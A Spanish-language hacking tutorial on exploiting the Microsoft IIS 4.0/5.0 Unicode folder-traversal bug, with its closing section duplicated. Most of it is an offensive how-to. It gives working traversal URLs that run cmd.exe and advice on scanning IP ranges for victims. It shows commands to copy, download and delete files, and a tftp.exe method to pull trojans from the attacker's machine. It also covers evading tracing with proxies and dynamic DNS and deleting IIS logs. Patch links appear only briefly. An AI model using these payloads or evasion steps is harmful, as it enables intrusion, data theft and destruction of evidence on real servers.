-= UNICODEX 1.0 Final =- spit_ Explotacion en plataforma Win32 del Bug transversal UNICODE para Microsoft IIS 4.0 y 5.0 ( NT y Win2k ) INDICE: .Prologo .Historia .Como encontrarlos -Variantes -Herramientas complamentarias .Recorriendo/reconociendo el territorio –Inside- -Trucos, consejos & comandos -Exploits -Borrando logs .Parches .Final - Prologo: Actualmente en el planeta aprox. el 50% de los servidores Microsoft IIS 4.0 y 5.0 estan afectados por esta falla y cientos de miles de personas no saben que alguien literalmente se les adueño de la maquina. ( Quiza nunca lo sepan ) Este texto es para que mu- chos se den cuenta del riesgo de seguridad informatica que hay, in- cluso en mi pais que casi no existe o no muchos estan capacitados como para ser un buen administrador y tambien esta hecho para aque- llos curiosos... La culpa no es toda del niño que rompe, la culpa esta tambien en el mal administrador y principalmente en el que publica un OS defectuoso. Y todos tienen excusas. El niño: “Porque no sabia lo que hacia”, el administrador “Porque a eso no me lo enseñaron en la facultad” y la corporacion del OS: “Se nos ven- cieron los plazos de presupuesto y tiempo, asi que tuvimos que sacar el producto como estaba...” Bueno, asi que con este .doc el niño va a aprender sin romper, el administrador va a saber preve- nirse y actualizarse, y el corporativo va a destinar mas dinero de marketing en el desarrollo del software. Amén. . Historia: Microsoft da aviso de un patch según ellos de error CGI Microsoft Security Bulletin (MS00-078) Patch Available for “Web Server Folder Traversal” Vulnerability Originally posted: October 17, 2000 Summary Microsoft has identified a security vulnerability in Microsoft® IIS 4.0 and 5.0 that is eliminated by a previously-released patch. The vulnerability could potentially allow a visitor to a web site to take a wide range of destructive actions against it, including running programs on it. There is not a new patch for this vulnerability. Instead, it is eliminated by the patch that accompanied Microsoft Security Bulletin MS00-057. Customers who have applied that patch are already protected against the vulnerability and do not need to take additional action. Microsoft strongly urges all customers using IIS 4.0 and 5.0 who have not already done so to apply the patch immediately. - Los Chinos de Nsfocus dan aviso tambien de esta grave falla - Oct 20 ,2000 NSFOCUS security team has found a security flaw in Microsoft IIS 4.0/5.0 UNICODE decoding implementation. Exploitation of this vulnerability, It is possible that a malicious user can run arbitrary command or get the content of system file in the web server running vulnerable IIS remotely. http://www.nsfocus.com/english/homepage/sa_06.htm . Explicaban de esa manera cada detalle de este tremendo agujero de segu- ridad, veamos la traduccion que hizo la lista de correo Hispasec: ( http://www.hispasec.com/unaaldia.asp?id=726 ) 20/10/2000 - Una grave vulnerabilidad afecta a todos los servidores IIS Todos los servidores web con Internet Information Server pueden estar afectados por una grave vulnerabilidad que permite a un atacante la ejecución de programas en la máquina. El problema afecta a las versiones de Internet Information Server 4.0 y 5.0 y la gravedad del problema es tal que la propia Microsoft recomienda la actualización inmediata de todos los servidores IIS. El problema se basa en una vulnerabilidad típica y conocida de los lectores habituales, como es la escalada de directorios mediante el uso de "../". Esta cadena introducida en peticiones web especialmente construidas, como es el caso que nos ocupa, permite subir directorios y escapar del árbol del web. Este tipo de ataques son habituales, si bien en esta ocasión para evitar la protección impuesta por IIS ante estas peticiones se logra reproducir el problema mediante la sustitución de los caracteres "/" y "" por su representación mediante caracteres UNICODE. Los caracteres UNICODE son la representación hexadecimal de su valor ASCII precedido de un símbolo %. El problema es especialmente grave ya que esta vulnerabilidad puede permitir acceder a la ejecución de cualquier comando, incluido lograr el listado completo del árbol de directorios y archivos, borrar y modificar ficheros, ejecutar un FTP, etc. Como ya hemos explicado el problema se basa en la sustitución de los caracteres "/" y "" por su representación UNICODE, lo cual quiere decir que dependerá del tipo de fuentes instaladas en el servidor. Así por ejemplo una construcción valida para determinados servidores, con la que se lograría un dir del directorio raíz, sería: http://servidor.iis.afectado/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c: Aunque como depende del tipo de fuentes otras representaciones válidas son %c0%af, %c1%9c, %c0%qf, %c1%8s, %c1%9c y %c1%pc. Microsoft ha reaccionado con la publicación de parches para todas las versiones de IIS y lenguajes, por lo cual, debido la gravedad del problema recomendamos la instalación inmediata del parche. .Como encontrarlos: Estan en todos lados, nadie parece haberse enterado de esto... debajo de las baldozas, con un MacCombo viene ahora un UNICODE o en las tapitas. Recomendado usar Windows e Internet explorer Browser para facilitar esto ( Pareceria que los bugs y los software de la misma firma se llevan muy bien. ) O bien 1ro la gran Script Kiddie ( scaneando rangos ) o como 2do target definido. 1ro Los rangos de IP a scanear facilmente los resolves on algun mail de la empresa que quieras scanear, amigo con esa conexión de tal firma a scanear o sino haces un whois en ARIN y asi obtendras los rangos a scanear serialmente al azar ( O no tanto, podes optar por el de cierta firma con redes online ) – En las maquinas puede haber sitios o data, ten mucho cuidado - 2do Elegis la maquina y le probas todas las variantes hasta que logras ver en tu pantalla el arbol de directorios. Si no lo ves, mala suerte y a estudiar jardineria. - Las variantes son estas: http://server/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c: http://server/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir+c: http://server/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c: http://server/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir+c: http://server/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir+c: http://server/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c: http://server/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir +c: http://server/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/ cmd.exe?/c+dir+c: http://server/_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/ cmd.exe?/c+dir+c: http://server/iisadmpwd/..%c0%af../..%c0%af../..%c0%af../winnt/system32/ cmd.exe?/c+dir+c: *Donde dice server o bien pones la IP o el URL - Herramientas complementarias: Estas herramientas las voy a remomendar porque son de muy buena ayuda para encontrar estos UNICODES y ayudar a explotarlos de manera segura, rapida y bien. . URLscaner del SSH team ----- Scan exclusivo de UNICODE, excelente a mi gusto, poseo la release que no es publica que tiene unas utilidades que te hacen aun mas comodo encontrar dicha falla. . Shadowscan ---- Editas el archivo cgi.txt y le agregas todas las variantes. Eligiendo el rango 0-255 va a ser rapido y 7 veces mas rapido y efectivo que la tool anterior. Ademas tiene un desencriptador de claves ftp muy eficaz . Sharesniffer: Tiene como utilidad practica la busqueda por palabra o ip del rango que quieras y te ahora no ir al sitio de ARIN para no hacer tal tramite, luego el fin del programa es otro pero no viene al caso. . Proxis: Usar los proxys que se publican en www.cyberarmy.com en la seccion portal, son los mas actualizados dia a dia y funcionan . Lopth: Desencripta los ficheros SAM . Reconociendo el terreno: ( Una vez adentro ) -Trucos, consejos y comandos: Podes optar como primera instancia buscar todos sus rigidos: dir+c: lo vas reemplazando por dir+d: dir+e: dir+f: dir+g: hasta Z - He visto rigidos en q: y hasta en p:, nunca se sabe. - Hasta puede pasar de que a veces no se lista el directorio c: y si otros: ( Servidor reportado como vulnerable el 21/3 4.06pm y ya esta reparado. ) Para escalar directorios etcetcetc se utiliza la barra “” ( ALT 92 ) . Se basa en comandos DOS de ejecucion remota. . Caca.mdb lo usaremos como base de datos ejemplo . Caca.txt lo usaremos como archivo de texto ejemplo Crear directorio: http://server/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+md+c:Administrador_arregla_esto Escribir en un .txt: /C+echo+loquesea+>c:etc.txt Copiar: http://server/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+copy+c:caca.mdb Bajar: Se copia primero el archivo y luego pones esto: http://server/msadc/caca.mdb y bajara automaticamente. Borrar: http://server/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+del+c:caca.mdb Ver txt : http://server/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+type+c:caca.txt Y para subir aquí un colaborador nos envio un excelente texto: Aprovechando el bug Unicode para subir archivos a un servidor IISx usando TFTP Como ya sabemos, la vulnerabilidad "Web Server Folder Traversal" (también conocida como Bug Unicode) de los servidores IIS4 y IIS5 de Microsoft permite ejecutar comandos y/o programas en el servidor remotamente. De esta forma es posible "navegar" el servidor en una especie de Modo DOS (sobre todo si el administrador tiene el cerebro tan muerto como para no negar el acceso a ciertas zonas del server), ejecutar programas e incluso borrar archivos o directorios. Pero lo que parece casi imposible es poder subir archivos al servidor. Si pudiesemos subir archivos podríamos, por ejemplo, subir scripts ASP (o CGI/PHP si el servidor los soporta) que nos permitan tener más control sobre el servidor, o mejor aún, podríamos subir y ejecutar troyanos en el servidor para ganar mayores privilegios. Y como podrán haber adivinado por el título de este mini-tutorial, esto es posible gracias a tftp.exe, una utilidad que viene con WinNT y Win2K que nos permiten transferir archivos a través del protocolo TFTP (Trivial FTP). No vamos a entran en detalles sobre cómo funciona el protocolo TFTP, pero sí debe quedar en claro que no es compatible con el protocolo FTP. Manos a la obra Lo primero que tendremos que hacer es conseguir un daemon TFTP e instalarlo en nuestra máquina. Si usan Linux es muy probable que tengan un daemon TFTP por algún lado, así que sólo tendrían que instalarlo y configurarlo. Si usan Win32 pueden conseguir el TFTPD32 (Trivial FTP Daemon) en membres.tripod.fr/phjounin/P_tftpd32.htm Lo único que necesitarán configuar en el TFTPD32 es el directorio base (es decir, el directorio en el que están los archivos que luego subiremos al servidor). La sintáxis que debemos usar el la siguiente: http://www.servidor.com/scripts/..%c0%af../winnt/ (sigue abajo) system32/tftp.exe+"-i"+1.1.1.1+GET+archivo.ext+C:destinoarchivo.ext Explicación: tftp.exe Cliente TFTP (viene con WinNT y Win2K). "-i" Indica que el archivo a subir al servidor es binario. Es importante poner las "comillas". Si el archivo es de texto (un script, por ejemplo) debemos eliminar este parámetro. 1.1.1.1 IP o dirección del servidor en el que está instalado el daemon TFTP (en este caso nuestra PC). GET Indica la acción a realizar. En este caso obtener un archivo del servidor TFTP (nuestra PC). archivo.ext Nombre del archivo en nuestra PC C:destino Directorio en el servidor remoto en el que pondremos el archivo. archivo.ext El nombre que tendrá el archivo en el servidor (generalmente el mismo que tiene en nuestra PC). Listo. Si todo sale bien ahora están en condiciones de subir archivos a servidores NT con el bug Unicode. Para tener en cuenta Algunos servidores tienen deshabilitado el port 69 (el que usa el protocolo TFTP) o tienen alguna tipo de protección que impide que la conexión se realice con éxito. Por este motivo en algunos servidores no podrán aprovechar esta vulnerabilidad (al menos no de esta forma). Si el daemon TFTP les indica que el pedido de download fue efectuado, pero ven que el archivo "no se va", lo más probable es que no puedan transferir el archivo. Cuando un servidor remoto permite transferir archivos a través de TFTP, los archivos no tardarán más de uno o dos segundos en empezar a transferirse, así que si ven que pasan los segundos y el archivo "no se va" dense por vencidos e intenten en otro servidor
Consejos Como ya deben saber, para evitar ser "rastreados" (o más bien, para hacer más dificil el rastreo) siempre es conveniente usar un servidor proxy. Si usan un proxy en los logs del IIS aparecerá el IP del proxy server, y no el de ustedes. Ok, esto ya es sabido, pero ¿a qué viene todo esto? A que si a la hora de transferir archivos usan su IP como server TFTP, el servidor proxy no les servirá de nada, ya que su IP quedará logueado en los logs del IIS, junto con la hora, y el archivo que transfirieron al servidor. Para evitar esto lo mejor es abrir una cuenta en alguno de esos servicios de DNS dinámico (en adelante, "cuenta de DNS dinámico", por más que esté mal) como www.dhs.org, especialmente para esto. Luego consiganse algún programita que les actualice el IP automáticamente. Ahora pueden ejecutar el cliente TFTP de esta manera (por ejemplo): http://www.servidor.com/scripts/..%c0%af../winnt/ (sigue abajo) system32/tftp.exe+"-i"+micuenta.dhs.org+GET+archivo.ext+C:destinoarchivo.ext Para que todo esto tenga alguna utilidad es muy importante que cada vez que no usen la cuenta de DNS dinámico setéen su IP como, 1.1.1.1, por ejemplo, o alguna otra cosa. De esta forma, si alguien los descubre, y mirá en los logs, lo que encontrarán será el IP del proxy y la dirección de la cuenta DNS dinámico. Si intentan conseguir su IP a través de la cuenta de DNS dinámico, llegarán al IP 1.1.1.1, a menos que se hayan olvidado de setear el IP a 1.1.1.1 o que justo en ese momento ustedes estén usando la cuenta. The End. Rubender pepedopo@bigfoot.com - Dale las gracias por la leccion desinteresada - Algunos consejitos y pistas... Data... directorios mssql7, mssql, sql, db, data, database, backup, bkp, mdbdata, los con extencion .mdb los veras en access tranquilamente... Para escalar un directorio con dos palabras por ejemplo: mis documentos Pones: dir+c:”mis documentos” ( entre comillas ) y enter y estaras ahí... y para bajar una archivo una vez copiado entre comillas, lo dejas SIN las comillas y bajara. El SAM esta donde esta siempre... y no hablaremos del SAM o de tecnicas de formateo o escribir en archivos porque ya se presta mucho al daño, lo cual no es la intencion de esto. Aclaración: No hagas nada raro porque podes llegar a tener problemas y si encontras algo reportalo porque atrás tuyo puede venir alguien inexperi- mentado y hacer un desastre. Borrando Logs: Al final de todo lo que hiciste espera unos 3 minutos ( para que en el log se escriban tus movimientos ) y anda a: http://www.host.com/cgi- bin/cmd.exe?/c+del+c:/winnt/system32/logfiles/in010323.log y lo borras. Exploits: ( Nunca viene de mas un par de recursos + ) www.securityfocus.com/data/vulnerabilities/exploits/iis-zang.c www.securityfocus.com/data/vulnerabilities/exploits/iis-zang.exe www.securityfocus.com/data/vulnerabilities/exploits/iis-zang.obsd www.securityfocus.com/data/vulnerabilities/exploits/iis-zang.linux www.securityfocus.com/data/vulnerabilities/exploits/unicodecheck.pl www.securityfocus.com/data/vulnerabilities/exploits/unicodexecute.pl www.securityfocus.com/data/vulnerabilities/exploits/unicodexecute2.pl www.securityfocus.com/data/vulnerabilities/exploits/iisuni.c Parches para reparar este Bug: IIS 4.0 http://www.microsoft.com/ntserver/nts/downloads/critical/q269862/default.asp IIS 5.0 http://www.microsoft.com/windows2000/downloads/critical/q269862/default.asp *Administrador: Una vez adentro elegi el idioma de tu version he ins- talalo normalmente y listo. ThE EnD: Espero que hayas aprendido a curiosear o a administrar mejor, esto se hizo sin fines de lucro y sin apologia, es 100% de conocimiento. Visita nuestro site y suscribete, seas quien seas de cualquier grupo under o clase de administrador, si te gusta la seguridad seras bienvenido. _CyRaNo_ 23/3 2.02 a.m http://heinekenteam.com.ar - Codex es una junta de escritos magnificos que nos lego Leonardo Da Vinci – ( Disclaimer por este texto es el mismo que el que esta en nuestro site ) Para mas referencias de la Seguridad NT: www.heinekenteam.com.ar/nt/ - No modificar nada de lo que diga este escrito.- Publicar donde sea.
Consejos Como ya deben saber, para evitar ser "rastreados" (o más bien, para hacer más dificil el rastreo) siempre es conveniente usar un servidor proxy. Si usan un proxy en los logs del IIS aparecerá el IP del proxy server, y no el de ustedes. Ok, esto ya es sabido, pero ¿a qué viene todo esto? A que si a la hora de transferir archivos usan su IP como server TFTP, el servidor proxy no les servirá de nada, ya que su IP quedará logueado en los logs del IIS, junto con la hora, y el archivo que transfirieron al servidor. Para evitar esto lo mejor es abrir una cuenta en alguno de esos servicios de DNS dinámico (en adelante, "cuenta de DNS dinámico", por más que esté mal) como www.dhs.org, especialmente para esto. Luego consiganse algún programita que les actualice el IP automáticamente. Ahora pueden ejecutar el cliente TFTP de esta manera (por ejemplo): http://www.servidor.com/scripts/..%c0%af../winnt/ (sigue abajo) system32/tftp.exe+"-i"+micuenta.dhs.org+GET+archivo.ext+C:destinoarchivo.ext Para que todo esto tenga alguna utilidad es muy importante que cada vez que no usen la cuenta de DNS dinámico setéen su IP como, 1.1.1.1, por ejemplo, o alguna otra cosa. De esta forma, si alguien los descubre, y mirá en los logs, lo que encontrarán será el IP del proxy y la dirección de la cuenta DNS dinámico. Si intentan conseguir su IP a través de la cuenta de DNS dinámico, llegarán al IP 1.1.1.1, a menos que se hayan olvidado de setear el IP a 1.1.1.1 o que justo en ese momento ustedes estén usando la cuenta. The End. Rubender pepedopo@bigfoot.com - Dale las gracias por la leccion desinteresada - Algunos consejitos y pistas... Data... directorios mssql7, mssql, sql, db, data, database, backup, bkp, mdbdata, los con extencion .mdb los veras en access tranquilamente... Para escalar un directorio con dos palabras por ejemplo: mis documentos Pones: dir+c:”mis documentos” ( entre comillas ) y enter y estaras ahí... y para bajar una archivo una vez copiado entre comillas, lo dejas SIN las comillas y bajara. El SAM esta donde esta siempre... y no hablaremos del SAM o de tecnicas de formateo o escribir en archivos porque ya se presta mucho al daño, lo cual no es la intencion de esto. Aclaración: No hagas nada raro porque podes llegar a tener problemas y si encontras algo reportalo porque atrás tuyo puede venir alguien inexperi- mentado y hacer un desastre. Borrando Logs: Al final de todo lo que hiciste espera unos 3 minutos ( para que en el log se escriban tus movimientos ) y anda a: http://www.host.com/cgi- bin/cmd.exe?/c+del+c:/winnt/system32/logfiles/in010323.log y lo borras. Exploits: ( Nunca viene de mas un par de recursos + ) www.securityfocus.com/data/vulnerabilities/exploits/iis-zang.c www.securityfocus.com/data/vulnerabilities/exploits/iis-zang.exe www.securityfocus.com/data/vulnerabilities/exploits/iis-zang.obsd www.securityfocus.com/data/vulnerabilities/exploits/iis-zang.linux www.securityfocus.com/data/vulnerabilities/exploits/unicodecheck.pl www.securityfocus.com/data/vulnerabilities/exploits/unicodexecute.pl www.securityfocus.com/data/vulnerabilities/exploits/unicodexecute2.pl www.securityfocus.com/data/vulnerabilities/exploits/iisuni.c Parches para reparar este Bug: IIS 4.0 http://www.microsoft.com/ntserver/nts/downloads/critical/q269862/default.asp IIS 5.0 http://www.microsoft.com/windows2000/downloads/critical/q269862/default.asp *Administrador: Una vez adentro elegi el idioma de tu version he ins- talalo normalmente y listo. ThE EnD: Espero que hayas aprendido a curiosear o a administrar mejor, esto se hizo sin fines de lucro y sin apologia, es 100% de conocimiento. Visita nuestro site y suscribete, seas quien seas de cualquier grupo under o clase de administrador, si te gusta la seguridad seras bienvenido. _CyRaNo_ 23/3 2.02 a.m http://heinekenteam.com.ar - Codex es una junta de escritos magnificos que nos lego Leonardo Da Vinci – ( Disclaimer por este texto es el mismo que el que esta en nuestro site ) Para mas referencias de la Seguridad NT: www.heinekenteam.com.ar/nt/ - No modificar nada de lo que diga este escrito.- Publicar donde sea.
